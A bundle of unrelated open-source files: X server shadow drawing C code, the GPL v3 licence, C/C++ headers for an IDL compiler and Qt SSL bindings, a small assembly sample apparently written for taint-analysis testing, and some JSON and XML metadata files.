box.x2 += width;
else
box.x1 += width;
box.y1 = pDraw->y + y - top;
box.y2 = pDraw->y + y + bot;
TRIM_BOX(box, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
(*pGC->ops->ImageGlyphBlt)(pDraw, pGC, x, y, nglyphInit,
ppciInit, pglyphBase);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowPolyGlyphBlt(
DrawablePtr pDraw,
GCPtr pGC,
int x, int y,
unsigned int nglyphInit,
CharInfoPtr *ppciInit,
pointer pglyphBase
){
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && nglyphInit) {
CharInfoPtr *ppci = ppciInit;
unsigned int nglyph = nglyphInit;
/* ugh */
box.x1 = pDraw->x + x + ppci[0]->metrics.leftSideBearing;
box.x2 = pDraw->x + x + ppci[nglyph - 1]->metrics.rightSideBearing;
if(nglyph > 1) {
int width = 0;
while(--nglyph) {
width += (*ppci)->metrics.characterWidth;
ppci++;
}
if(width > 0) box.x2 += width;
else box.x1 += width;
}
box.y1 = pDraw->y + y - FONTMAXBOUNDS(pGC->font, ascent);
box.y2 = pDraw->y + y + FONTMAXBOUNDS(pGC->font, descent);
TRIM_BOX(box, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
(*pGC->ops->PolyGlyphBlt)(pDraw, pGC, x, y, nglyphInit,
ppciInit, pglyphBase);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowPushPixels(
GCPtr pGC,
PixmapPtr pBitMap,
DrawablePtr pDraw,
int dx, int dy, int xOrg, int yOrg
){
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw)) {
box.x1 = xOrg;
box.y1 = yOrg;
if(!pGC->miTranslate) {
box.x1 += pDraw->x;
box.y1 += pDraw->y;
}
box.x2 = box.x1 + dx;
box.y2 = box.y1 + dy;
TRIM_BOX(box, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
(*pGC->ops->PushPixels)(pGC, pBitMap, pDraw, dx, dy, xOrg, yOrg);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
}
GCOps ShadowGCOps = {
ShadowFillSpans, ShadowSetSpans,
ShadowPutImage, ShadowCopyArea,
ShadowCopyPlane, ShadowPolyPoint,
ShadowPolylines, ShadowPolySegment,
ShadowPolyRectangle, ShadowPolyArc,
ShadowFillPolygon, ShadowPolyFillRect,
ShadowPolyFillArc, ShadowPolyText8,
ShadowPolyText16, ShadowImageText8,
ShadowImageText16, ShadowImageGlyphBlt,
ShadowPolyGlyphBlt, ShadowPushPixels,
};
| {
"pile_set_name": "Github"
} |
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
| {
"pile_set_name": "Github"
} |
/* -*- C++ -*- */
//=============================================================================
/**
* @file constant_cs.h
*
* Concrete visitor for the constant class generating code in the client stub.
*
* @author Aniruddha Gokhale
*/
//=============================================================================
#ifndef _BE_VISITOR_CONSTANT_CONSTANT_CS_H_
#define _BE_VISITOR_CONSTANT_CONSTANT_CS_H_
/**
* @class be_visitor_constant_cs
*
* @brief be_visitor_constant_cs
*
* This is the visitor for constant for the impl file
*/
class be_visitor_constant_cs : public be_visitor_decl
{
public:
/// constructor
be_visitor_constant_cs (be_visitor_context *ctx);
/// destructor
~be_visitor_constant_cs (void);
/// visit constant
virtual int visit_constant (be_constant *node);
};
#endif /* _BE_VISITOR_CONSTANT_CONSTANT_CS_H_ */
| {
"pile_set_name": "Github"
} |
{
"@type" : "gx:Year",
"@value" : "2016"
} | {
"pile_set_name": "Github"
} |
global asm_func
;----------------------------------------
; DATA
;----------------------------------------
SECTION .data
a: dd 5
;----------------------------------------
; CODE
;----------------------------------------
SECTION .text
test_call:
mov eax, dword [esp+4]
mov dword [a], eax
mov eax, 2
cmp dword [a], 1
jne lol
inc eax
ret
lol:
dec eax
ret
tainted_write:
mov dword [edx], 0
ret
tainted_call:
call [edx+0x40]
ret
asm_func:
call foo
push 29ah
ret
foo:
mov esi, [esp+8]
xor eax, eax
lodsb
xor edi, edi
add edi, eax
sub edi, 0x30
pop eax
push eax
mov ecx, eax
mov ebx, 2
mov edx, dword [edi+0x11223344]
;push edx
;call test_call
mov esi, 0
;rep movsb
mov ebx, dword [a]
cmp ebx, 5
jz good
nop
good:
cmp edx, 1
jnz nxt
eax1:
inc eax
mov eax, do_ret
jmp eax
do_ret:
call tainted_write
ret
nxt:
mov ecx, edx
mov ebx, 1
cmp ebx, 1
jz bar
cmp ebx, 2
jz inf
mov dword [eax], 1
bar:
cmp edx, 3
jz inf
call tainted_call
inf:
ret
| {
"pile_set_name": "Github"
} |
//******************************************************************************
// Copyright (c) 2005-2013 by Jan Van hijfte
//
// See the included file COPYING.TXT for details about the copyright.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
//******************************************************************************
#ifndef QSSLCONFIGURATION_C_H
#define QSSLCONFIGURATION_C_H
#include <QtNetwork>
#include "pascalbind.h"
C_EXPORT QSslConfigurationH QSslConfiguration_Create();
C_EXPORT void QSslConfiguration_Destroy(QSslConfigurationH handle);
C_EXPORT QSslConfigurationH QSslConfiguration_Create2(const QSslConfigurationH other);
C_EXPORT void QSslConfiguration_swap(QSslConfigurationH handle, QSslConfigurationH other);
C_EXPORT bool QSslConfiguration_isNull(QSslConfigurationH handle);
C_EXPORT QSsl::SslProtocol QSslConfiguration_protocol(QSslConfigurationH handle);
C_EXPORT void QSslConfiguration_setProtocol(QSslConfigurationH handle, QSsl::SslProtocol protocol);
C_EXPORT QSslSocket::PeerVerifyMode QSslConfiguration_peerVerifyMode(QSslConfigurationH handle);
C_EXPORT void QSslConfiguration_setPeerVerifyMode(QSslConfigurationH handle, QSslSocket::PeerVerifyMode mode);
C_EXPORT int QSslConfiguration_peerVerifyDepth(QSslConfigurationH handle);
C_EXPORT void QSslConfiguration_setPeerVerifyDepth(QSslConfigurationH handle, int depth);
C_EXPORT void QSslConfiguration_localCertificate(QSslConfigurationH handle, QSslCertificateH retval);
C_EXPORT void QSslConfiguration_setLocalCertificate(QSslConfigurationH handle, const QSslCertificateH certificate);
C_EXPORT void QSslConfiguration_peerCertificate(QSslConfigurationH handle, QSslCertificateH retval);
C_EXPORT void QSslConfiguration_sessionCipher(QSslConfigurationH handle, QSslCipherH retval);
C_EXPORT void QSslConfiguration_privateKey(QSslConfigurationH handle, QSslKeyH retval);
C_EXPORT void QSslConfiguration_setPrivateKey(QSslConfigurationH handle, const QSslKeyH key);
C_EXPORT void QSslConfiguration_setSslOption(QSslConfigurationH handle, QSsl::SslOption option, bool on);
C_EXPORT bool QSslConfiguration_testSslOption(QSslConfigurationH handle, QSsl::SslOption option);
C_EXPORT void QSslConfiguration_defaultConfiguration(QSslConfigurationH retval);
C_EXPORT void QSslConfiguration_setDefaultConfiguration(const QSslConfigurationH configuration);
#endif
| {
"pile_set_name": "Github"
} |
sha256:7d2b259ecb808c027ddef821435d715479dba814954296f44effee64b4b5c9a5
| {
"pile_set_name": "Github"
} |
<image>
<filename>image_004465.jpg</filename>
<folder></folder>
<size>
<width>256</width>
<height>256</height>
</size>
<origSize>
<width>800</width>
<height>800</height>
</origSize>
<generated>1</generated>
</image>
<file>
<filename>image_004465.xml</filename>
<folder></folder>
</file>
<object>
<objectId>1</objectId>
<name>sky</name>
<masks>
<filename>masks/image_004465.mat</filename>
</masks>
<keyword>sky</keyword>
</object>
<objImgSrc>
<filename>mountain_n219006.jpg</filename>
<folder>spatial_envelope_256x256_static_8outdoorcategories</folder>
<size>
<width>800</width>
<height>800</height>
</size>
<origSize>
<width>256</width>
<height>256</height>
</origSize>
</objImgSrc>
<bgImgSrc>
<filename>mountain_nat1017.jpg</filename>
<folder>spatial_envelope_256x256_static_8outdoorcategories</folder>
<size>
<width>800</width>
<height>800</height>
</size>
<origSize>
<width>256</width>
<height>256</height>
</origSize>
</bgImgSrc>
| {
"pile_set_name": "Github"
} |
